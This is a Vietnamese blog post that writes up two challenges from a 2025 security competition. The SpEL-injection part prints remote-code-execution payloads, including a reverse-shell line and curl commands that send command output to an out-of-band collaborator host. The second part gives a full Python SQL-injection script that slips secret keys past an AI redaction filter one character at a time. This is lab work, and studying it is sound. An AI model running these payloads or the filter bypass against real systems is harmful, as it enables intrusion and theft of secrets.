Tôi đã đóng góp gì để cùng team vô địch DF Cyber Defense 2025? - King of the hill
I. Tổng quan
Giới thiệu - Flexing
Cuối tháng 9 vừa qua cụ thể là 21/09/2025-25/09/2025, DF Cyber Defense 2025 – cuộc thi thường niên về Diễn tập tấn công phòng chủ trên không gian mạng cho lĩnh vực Ngân hàng, tài chính tại Việt Nam đã được tổ chức. Kết thúc cuộc thi, team VNDIRECT chúng tôi – đại diện cho Công ty Cổ phần Chứng Khoán VNDIRECT giành chức vô địch.
Giải thi đấu gồm có 2 vòng thi:
-
Online diễn ra vào ngày 21/09/2025
-
Onsite diễn ra tại khách sạn JW Marriott (Hà Nội) vào ngày 25/09/2025
Các vòng thi đều có đủ 2 phần là: King of the hill
và Jeopardy
.
Jeopardy
thì các bạn chơi CTF nhiều thì cũng đã biết về thể loại này rồi nên mình không nhắc đến nữa.
King of the hill
thì theo như mình thấy và cũng như BTC nói thì đây là thể loại mà ở Việt Nam lần đầu tiên tổ chức, nên nó khá mới mẻ và hấp dẫn.
Các đội phải giữ tổng cộng 5 hill như hình bên trên, điểm giữ hill sẽ được tính như sau:
Top 10 vòng thi Online sẽ được cộng điểm ưu thế cho vòng thi Onsite
(Hình minh họa 2 phần thi bên dưới mình chỉ chụp của ngày online của ngày onsite mình quên chụp)
Các bạn có thể đọc thêm về thể lệ cuộc thi ở đây: https://drive.google.com/file/d/1vTTKE8vAz4u1R6ga_etJDWcFM-USqe09/view?usp=sharing
Mỗi team sẽ có 4 người tham gia thi đấu, nhưng riêng bọn tôi có thêm 1 đội quân thi đấu khác nữa đó là Đội quân tâm linh
→ Có thờ có thiêng, có kiêng có lành đúng không mấy Ní
Kết quả cuộc thi
Với vòng Online thì team mình đã may mắn dẫn đầu với tổng điểm là: 1180 điểm
-
Điểm King of the hill là: 980
-
Mình giải được 1 challenge Jeo: 200
Với vòng Onsite chúng tôi may mắt đạt được tổng điểm là: 1086 điểm
-
King of the hill: 686
-
Jeopardy: 400 (giải được 2 challenge)
→ Nhưng với lợi thế là chiến thắng vị trị thứ 1 ở vòng Online nên được +200 điểm vào điểm chung cuộc vòng Onsite nên tổng điểm cuối cùng chúng tôi có là: 1286 (Vượt trội hơn hẳn so với đội về thứ 2)
Hôm nay, tôi viết xuống bài viết này không phải mục đích là khoe mà tôi muốn chia sẻ niềm vui này tới mọi người cũng như viết xuống cách giải quyết những challenge mà chúng tôi gặp phải trong quá trình thi đấu.
<mark>(Vì trong cuộc thi này, tôi đảm nhận nhiệm vụ giải Jeopardy và giữ hill web/API và cũng lâu lâu giữ Hill AI Fraud → Nên tôi chỉ viết xoay quanh những thứ tôi làm được, còn những phần A/E khác làm để tôi lừa lừa họ viết Blog sau)</mark>
Cụ thể là ở cả 2 vòng tôi đảm nhận:
-
Giữ hill-1: Online được 75 điểm, Onsite được 70 điểm
-
Giải các challenge Jeopardy: Online được 1 Jeopardy, Onsite được 2 Jeopardy.
II. Write up Jeopardy vòng thi Onsite
FinovaBank Statement
Đề bài
Challenge này chúng ta được cho 1 trang web có tên là FinovaBank - Statement viewer. Vào xem thì có chức năng search Transaction search
.
Phân tích
Theo thói quen của tôi là tôi luôn search thử vài mẫu test có kèm theo các ký tự đặc biệt như ’
”
… mục đích là để xem phản ứng của server.
Tất nhiên rồi, khi pentest thì chúng ta đề phải setup Burpsuite, và khi bấm submit request xong web ui trả về No results
thì tôi kiểm tra burpsuite history của mình và phát hiện response trả về có lỗi.
HTTP/1.1 500
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 28 Sep 2025 17:33:15 GMT
Content-Type: application/json
Connection: keep-alive
Content-Length: 211
{"timestamp":"2025-09-28T17:33:15.960+00:00","status":500,"error":"Internal Server Error","message":"Expression [ \"test\"\" ] @1: EL1045E: Cannot find terminating \" for string","path":"/api/statements/search"}
Ý tôi ở đây là lỗi (bug), không phải lỗ hổng bảo mật. Tuy nhiên trong message lỗi là một mã lỗi Expression EL1045E
, tôi tò mò tìm kiếm google thử:
Đại ý google trả về là Expression EL1041E is a Spring Expression Language (SpEL) parsing error that occurs when the parser encounters unexpected data after it has already successfully parsed a complete, valid expression. It indicates that there's extra, invalid characters or tokens at the end of an expression string, such as an extra colon (:), comma (,), or curly brace ({) where they are not expected, leading to the parsing failure.
Mộ ví dụ về Spring Expression Language (SpEL)
// Hello SpEL — toán học cơ bản
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.Expression;
public class SpelDemo {
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("1 + 2 * 3");
Integer result = exp.getValue(Integer.class);
System.out.println("Kết quả: " + result); // 7
}
}
OK, thì theo thói quen thôi có Expression
lại còn phản ứng lỗi khi mà gửi ký tự đặc biệt vào thì có khả năng cao là có lỗ hổng lắm.
Vì suy nghĩ của tôi đơn giản như thế này: Expression
thì sẽ là xử lý 1 cái gì đó? Vậy cái gì đó lại phản ứng lại với input tôi gửi lên → chứng tỏ 1 điều dev không hề validate input và ném thẳng vào cho Expression
xử lý thì mới có chuyện nó phản ứng lại như vậy.
Thì tất nhiên rồi, điều đầu tiên cần làm là xem thằng cha Spring Expression Language (SpEL)
có tồn tại lỗ hổng bảo mật nào không đã, tôi thì tôi hay search kiểu đại loại như:
-
Spring Expression Language (SpEL) exploit
-
Spring Expression Language (SpEL) vuln
-
Spring Expression Language (SpEL) cve
-
…
Đó, thì khi tìm kiếm với từ khóa như trên thì cũng thấy có tý hi vọng, thấy là cũng toàn title là có lỗ hổng rồi đấy, thậm chí là RCE.
À thì ra Spring Expression Language (SpEL)
có lỗ hổng bảo mật có thể RCE, giải thích thì dài dòng như tôi khuyên bạn nên đọc link này để hiểu rõ trước về lỗ hổng này đã rồi đọc tiếp bài nhé: https://www.mgm-sp.com/identifying-and-preventing-remote-code-execution-rce-with-spring-expression-language-spel
Ok, coi như bạn đã hiểu về lỗ hổng trên nhé, tôi sẽ đi thẳng vào tìm cách khai thác luôn nhé.
Trước hết tôi thử xóa bớt đi 1 số parram và chỉ chừa lại customerName
với value là test%22
, thì server vẫn giãy nảy lên như lúc tôi thử ban đầu.
-> Để ý dòng chữ này nha Cannot find terminating \" for string
→ À à là sao nhỉ? là khi thêm “
vào thì nó bị thừa ”
ra hay gì mà nó lại bảo Cannot find terminating \" for string
→ À kiểu nó phải thế à.
Thử làm thám tử Conan dự đoán code có thể đang chạy trên server xem sao nha.
// Controller
@RestController
@RequestMapping("/api/statements")
public class StatementController {
private final StatementService statementService;
public StatementController(StatementService statementService) {
this.statementService = statementService;
}
@GetMapping("/search")
public ResponseEntity<List<Statement>> search(@RequestParam("customerName") String customerName) {
List<Statement> results = statementService.search(customerName);
return ResponseEntity.ok(results);
}
}
// Service
@Service
public class StatementService {
private final StatementRepository repo;
private final ExpressionParser parser = new SpelExpressionParser();
public StatementService(StatementRepository repo) {
this.repo = repo;
}
public List<Statement> search(String customerName) {
List<Statement> allStatements = repo.findAll(); // lấy dữ liệu từ DB
List<Statement> filtered = new ArrayList<>();
for (Statement s : allStatements) {
// Đoạn code có thể là lỗi ở đây
// build biểu thức bằng cách ghép chuỗi từ input
String expr = "\"" + customerName + "\" == \"" + s.getCustomerName() + "\"";
Boolean match = parser.parseExpression(expr).getValue(Boolean.class);
if (Boolean.TRUE.equals(match)) {
filtered.add(s);
}
}
return filtered;
}
}
// Repository (giả định dùng JPA)
@Repository
public class StatementRepository {
@PersistenceContext
private EntityManager em;
public List<Statement> findAll() {
return em.createQuery("SELECT s FROM Statement s", Statement.class)
.getResultList();
}
}
Bên trên là 3 đoạn code mà tôi giả sử hình dung là server nó sẽ chạy kiểu kiểu thế thì nó mới xảy ra cái lỗi Cannot find terminating \" for string
khi mà cho thêm ”
vào input, cụ thể là param: customerName
Bây giờ thì chúng ta có thể dễ hình dung hơn rồi heng.
Vì sao lỗi xảy ra? (Đoạn này là đang ngồi hình dung thôi nha, chưa biết gì đâu)
-
Input: customerName=test"
-
Ghép vào: "test"" == "John Smith" → SpEL parser đọc "test"" → chuỗi literal không đóng đúng → ném lỗi
EL1045E: Cannot find terminating “ for string.
-
Nếu input là test"" → thành "test""" == "John Smith". Trong một số parser, cặp
""
được hiểu như escape cho dấu"
bên trong string → không lỗi và trả về 1 mảng rỗng.
Như dự đoán, nếu tôi thử test%22%22
thì có vẻ không còn lỗi nữa.

Như vậy ta đã biết bên ta có thể truyền 1 biểu thức vào parseExpression
để cho nó chạy và tay cũng hình dung ra được là có 1 UNTRUSTED DATA
đang được truyền vào với công thức: "\"" + UNTRUSTED DATA + "\" == \"" + s.getCustomerName() + "\"";
Ok, nhiệm vụ của chúng ta bây giờ phải làm sao cho PAYLOAD truyền vào nó phải chạy được đã, để nó không raise ra lỗi.
Tôi có hỏi qua ChatGPT thì trong SpEL thì các toán tử sẽ là and/or, … như hình bên dưới.

test"=="test" and <BIỂU THỨC> and "1" == "
Và có thể bạn cũng biết BIỂU THỨC
đó cũng có thể là 1 đoạn mã JAVA.
test"=="test" and Hello() == 1 and "1" == "
Khai thác
Vậy thì mã JAVA ở đây là gì? để chúng ta có thể khai thác được.
Thì các bạn mà hay RCE với các ứng dụng java thì cũng biết đến mấy lệnh T(java.lang.Runtime).getRuntime().exec('<COMMAND>')
T(java.lang.Thread).sleep(10000) // Cho server sleep 10000
T(java.lang.Runtime).getRuntime().exec('id') // Chạy lệnh ID
T(java.lang.Runtime).getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/<ip>/8443 0>&1\") // Revershell
(T(java.lang.Runtime).getRuntime().exec('sh -c $@|sh . echo curl aiwbvvnstnmkc4yj1aw8hyqm8de32s.burpcollaborator.net/?=`id|base64 -w0`')) // Out of band get command ID
OK, bây giờ mình cần chứng minh rằng mình có thể chạy lệnh trên server nên mình sẽ dùng payload
(T(java.lang.Runtime).getRuntime().exec('sh -c $@|sh . echo curl aiwbvvnstnmkc4yj1aw8hyqm8de32s.burpcollaborator.net/?=`id|base64 -w0`'))
→ Thay aiwbvvnstnmkc4yj1aw8hyqm8de32s.burpcollaborator.net
bằng burpcollaborator
của bạn.
Câu lệnh nó đại loại kiểu
test"=="test" and (T(java.lang.Runtime).getRuntime().exec('sh -c $@|sh . echo curl dtaq2nsw8ej2zpk0nw0yb65hv81zpqdf.oastify.com/?=`id|base64 -w0`')) == 1 and "1" == "
Với một request Burpsuite kiểu
Kiểm tra burpcollaborator
thì thấy đã có 1 request http trả về
=> Decode base64 dWlkPTEwMDAgZ2lkPTEwMDAgZ3JvdXBzPTEwMDAK
ta được uid=1000 gid=1000 groups=1000
→ Vậy chứng minh rằng ta có thể chạy lệnh trên server.
Bây giờ ta cần tìm xem flag nằm ở đâu trên server, trước tiên là chạy lệnh ls /
test"=="test" and (T(java.lang.Runtime).getRuntime().exec('sh -c $@|sh . echo curl dtaq2nsw8ej2zpk0nw0yb65hv81zpqdf.oastify.com/?=`ls /|base64 -w0`')) == 1 and "1" == "
Ta nhận được
→ Vậy flag sẽ nằm tại /-flag.txt
Get flag
test"=="test" and (T(java.lang.Runtime).getRuntime().exec('sh -c $@|sh . echo curl dtaq2nsw8ej2zpk0nw0yb65hv81zpqdf.oastify.com/?=`cat /-flag.txt|base64 -w0`')) == 1 and "1" == "
Nhận được flag là: DF25{Y0u_c0UlD_5p3L_7h3_3xpr35510N!!}
Next-gen WAiF (TODO)
Đề bài
Vào link web BTC cho thì chúng ta có
Sau khi nhập Team token
do BTC cung cấp thì ta có
Phân tích
Okey, nhìn vào hình trên thì ít nhất chúng ta cũng có thể thấy được 1 số thông tin như sau:
Available Endpoints:
-
GET /users/<id> Retrieve user information by ID
-
GET /search?q=<term> Search for users by query term
-
GET/POST /flag Submit the 3 users' secret_key values to claim the flag
Đặc biệt nhất là: <mark>Hint:</mark> <mark> Tất cả output HTTP sẽ được đi qua hệ thống AI filtering và dữ liệu nhạy cảm sẽ bị redact thành </mark> ********
<mark>.</mark>
Bây giờ tôi thử xem từng enpoint 1 nhé.
GET/POST /flag
Với GET request chúng ta sẽ có 1 form submit như thế này
→ Trong DB có tổng cộng 3 users. Player cần phải trích xuất đủ cột secret_key của 3 users để chứng minh bạn đã bypass hoàn toàn hệ thống AI filtering.
=> Như vậy trong hình dung của tôi là bài này là 1 kiểu nào đó lấy được 3 secret_key
của 3 users để submit vào đây rồi.
Đương nhiên rồi, POST request chính là khi có secrets và bấm Nộp
.
GET /search?q=<term>
GET /users/<id>
=> có thể thấy được là với /search và /users thì các thông tin nhạy cảm đã được <mark>redact thành </mark> ********
Thử nghiệm với SQL injection
Đối với các bạn không biết thế nào nhưng với tôi khi mà nhìn thấy 2 enpoints /search và /users như trên thì điều đầu tiên tôi không thể bỏ qua là SQL injection và IDOR, tuy nhiên trong trường hợp này tôi không test IDOR nữa vì như các bạn thấy hình trên các thông tin nhạy cảm đã được <mark>redact thành </mark> ********
=> IDOR có vẻ vô dụng trong trường hợp này.
Tôi đã thử SQL injection lên cả 2 enpoints, tuy nhiên với /users tôi đã thử đủ kiểu nhưng không thấy có sự phản hồi nào mang lại cảm giác là SQL injection sẽ ở chỗ này.
Khi tôi thử sang enpoint /search, thì với chức năng search này mình phải nghĩ đến là thử UNION Based.
Lúc đầu, khi vào http://152.42.200.249:8111/search
thì có vẻ dữ liệu trả về là 12 cột
Như vậy thì đơn giản rồi chỉ cần viết câu lệnh UNION để thử thôi.
' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12 from users-- -
Khi chạy lên thì sẽ thấy có sự xuất hiện của các các trường address: 5
, dob:6
, username:2
, tôi sẽ không quan tâm trường ID lắm → Vì trường ID như thấy trong hình phần trên nó là dạng Int, mà tôi cần trích xuất secret nên int có vẻ không tác dụng lắm.
Okey, bây giờ tôi đã biết rằng mình có thể làm sao đó để leak secret key thông qua:
-
address
-
dob
-
username
Các bạn đang nghĩ là: Ồi! giờ thì đơn giản, chỉ cần select trương secret_key để vào trong 3 trường trên là được
đúng không?
Các bạn nghĩ:
' UNION SELECT 1,2,3,4,secret_key,6,7,8,9,10,11,12 from users-- -
Nhầm, nếu dễ thế thì đã không có chuyện để nói. Hãy nhớ lại <mark>Hint:</mark> <mark> Tất cả output HTTP sẽ được đi qua hệ thống AI filtering và dữ liệu nhạy cảm sẽ bị redact thành </mark> ********
<mark>.</mark>
Thấy chưa ạ? hehe, vậy thì chúng ta không thể cứ thế mà lấy đâu nhe, ta cần nghĩ ra 1 cách nào đó tricky hơn, ví dụ như:
' UNION SELECT 1,2,3,4,printf("M%s", substr(secret_key,1,1)),6,7,8,9,10,11,12 from users-- -
Giải thích printf("M%s", substr(secret_key,1,1))
: Mục đích tôi muốn lấy ký tự thứ 1 trong secret_key
và nối với prefix là M
(M là chữ cái đầu tên mình).
Thế nhưng, như thế này thì mỗi request tôi chỉ lấy được 1 key thôi ư? tôi có đến tận ít nhất 3 trường có thể đọc được dữ liệu là address, dob, username
cơ mà. Bây giờ tôi sẽ nhồi nó vào thôi.
' UNION SELECT 1,printf("M%s", substr(secret_key,3,1)),3,4,printf("M%s", substr(secret_key,1,1)),printf("M%s", substr(secret_key,2,1)),7,8,9,10,11,12 from users-- -
Như vậy tôi có thể đoán đoán là một chuỗi gì đó dạng CBJ***
Như hint đã cho là có tận 3 users lận, nên tôi nghĩ đến việc dùng UNION ALL
để có thể lấy được tất cả cùng 1 lúc.
' UNION ALL SELECT 1,printf("M%s", substr(secret_key,3,1)),3,4,printf("M%s", substr(secret_key,1,1)),printf("M%s", substr(secret_key,2,1)),7,8,9,10,11,12 from users-- -
Vậy thì giờ ta chỉ cần viết 1 vòng loop cho chạy với bước nhảy là 3 và request lên server là ok:
for i in range(1, 100, 3):
# Request to server
→ Hãy xem mã khai thác đầy đủ bên dưới.
Khai thác
# 0xmanhnv
import requests
from urllib.parse import quote_plus
final_secret1 = ""
final_secret2 = ""
final_secret3 = ""
for i in range(1, 100, 3):
# Thay bằng target bạn có quyền test, ví dụ: http://localhost:8111
base_url = "http://152.42.200.249:8111/search"
first_char = f'printf("M%s", substr(secret_key,{i},1))'
second_char = f'printf("M%s", substr(secret_key,{i+1},1))'
third_char = f'printf("M%s", substr(secret_key,{i+2},1))'
# Put a harmless query here by default. Replace ONLY if you have explicit authorization.
payload = f"' UNION ALL SELECT 1,{third_char},3,4,{first_char},{second_char},7,8,9,10,11,12 from users-- -"
# URL-encode the query parameter
params = {"q": payload}
# Or build full URL manually:
full_url = f"{base_url}?q={quote_plus(payload)}"
# Headers (copy from your original request as needed)
headers = {
"User-Agent": "Mozilla/5.0 (compatible; ExampleBot/1.0)",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Connection": "keep-alive",
# "Upgrade-Insecure-Requests": "1", # optional
}
# Cookies (only include cookies you legitimately have)
cookies = {
"team_session": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJWTkRJUkVDVC03YzllMWIyZDU0YTMiLCJ0ZWFtX2FiYnIiOiJWTkRJUkVDVCIsInRlYW1fZnVsbF9uYW1lIjoiQ1x1MDBmNG5nIHR5IGNcdTFlZDUgcGhcdTFlYTduIGNoXHUxZWU5bmcga2hvXHUwMGUxbiBWTkRJUkVDVCIsImlzcyI6ImFpLWZyYXVkLWNoYWxsZW5nZSIsImlhdCI6MTc1ODg2ODI1MCwiZXhwIjoxNzU4OTU0NjUwfQ.A1Qx6h0ThCI07VAQwx9KjPbG9OueAy45HEM-pXWrYCI"
}
secret1=""
secret2=""
secret3=""
# Use a session for connection reuse
with requests.Session() as s:
s.headers.update(headers)
# If you prefer to pass params separately:
r = s.get(base_url, params=params, cookies=cookies, timeout=15)
print("Requested URL:", r.url)
print("Status code:", r.status_code)
# Print first N characters of the response body for quick inspection
print("--- Response---")
results1 = r.json().get("results")[len(r.json().get("results")) - 3]
results2 = r.json().get("results")[len(r.json().get("results")) - 2]
results3 = r.json().get("results")[len(r.json().get("results")) - 1]
secret1 += results1.get("address").replace("M", "")
secret1 += results1.get("dob").replace("M", "")
secret1 += results1.get("username").replace("M", "")
secret2 += results2.get("address").replace("M", "")
secret2 += results2.get("dob").replace("M", "")
secret2 += results2.get("username").replace("M", "")
secret3 += results3.get("address").replace("M", "")
secret3 += results3.get("dob").replace("M", "")
secret3 += results3.get("username").replace("M", "")
# if results1.get("address").replace("M", "") == "" and results1.get("dob").replace("M", "") == "" and results1.get("username").replace("M", "") == "":
# break
final_secret1 += secret1
final_secret2 += secret2
final_secret3 += secret3
print(final_secret1)
print(final_secret2)
print(final_secret3)
print(final_secret1)
print(final_secret2)
print(final_secret3)
Tiến hành chạy mã khai thác.
_oo0oo_
o8888888o
88" . "88
(| -_- |)
0\ = /0
___/`---'\___
.' \| |// '.
/ \||| : |||// \
/ _||||| -:- |||||- \
| | \ - /// | |
| \_| ''\---/'' |_/ |
\ .-\__ '-' ___/-. /
___'. .' /--.--\ `. .'___
."" '< `.___\_<|>_/___.' >' "".
| | : `- \`.;`\ _ /`;.`/ - ` : | |
\ \ `_. \_ __\ /__ _/ .-` / /
=====`-.____`.___ \_____/___.-`___.-'=====
`=---='
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Buddha Bless: Critical Bugs Incoming
➜ walif git:(main) ✗ python3 exp.py
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C3%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C1%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C2%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJ
CBJ
CBJ
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C6%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C4%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C5%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_S
CBJS_S
CBJS_S
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C9%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C7%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C8%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECR
CBJS_SECR
CBJS_SECR
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C12%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C10%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C11%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_
CBJS_SECRET_
CBJS_SECRET_
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C15%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C13%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C14%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nha
CBJS_SECRET_lin
CBJS_SECRET_duc
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C18%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C16%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C17%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nhan_9
CBJS_SECRET_linh_e
CBJS_SECRET_duc_h6
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C21%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C19%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C20%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nhan_9f8e
CBJS_SECRET_linh_e3f9
CBJS_SECRET_duc_h6j4k
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C24%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C22%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C23%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nhan_9f8e2d1
CBJS_SECRET_linh_e3f9a8b
CBJS_SECRET_duc_h6j4k8l2
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C27%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C25%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C26%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nhan_9f8e2d1c4b
CBJS_SECRET_linh_e3f9a8b2c7
CBJS_SECRET_duc_h6j4k8l2m9n
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C30%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C28%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C29%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nhan_9f8e2d1c4b7a5
CBJS_SECRET_linh_e3f9a8b2c7d1x
CBJS_SECRET_duc_h6j4k8l2m9n5p7
Requested URL: http://152.42.200.249:8111/search?q=%27+++UNION+ALL+SELECT+1%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C33%2C1%29%29%2C3%2C4%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C31%2C1%29%29%2Cprintf%28%22M%25s%22%2C+substr%28secret_key%2C32%2C1%29%29%2C7%2C8%2C9%2C10%2C11%2C12+from+users--+-
Status code: 200
--- Response---
CBJS_SECRET_nhan_9f8e2d1c4b7a5k3m
CBJS_SECRET_linh_e3f9a8b2c7d1x5y9
CBJS_SECRET_duc_h6j4k8l2m9n5p7q1a
Sau khi chạy chúng ta nhận được 3 chuỗi secret
CBJS_SECRET_nhan_9f8e2d1c4b7a5k3m
CBJS_SECRET_linh_e3f9a8b2c7d1x5y9
CBJS_SECRET_duc_h6j4k8l2m9n5p7q1a
Get flag
Truy cập http://152.42.200.249:8111/flag và nhập 3 chuỗi Secret vào.
Submit và nhận được flag DF25{we_will_become_cyborg_in_AI_era}
TODO: Vẫn còn tiếp tục cập nhật
Các bạn có thể đọc gốc tại: https://manhnv.com/toi-da-dong-gop-gi-de-cung-team-vo-dich-df-cyber-defense-2025-king-of-the-hill
Tuyển dụng
Team mình vẫn đang liên tục tuyển dụng số lượng lớn Product security/Application security, nếu A/E nào có như cầu thì liên hệ mình nhé.
All rights reserved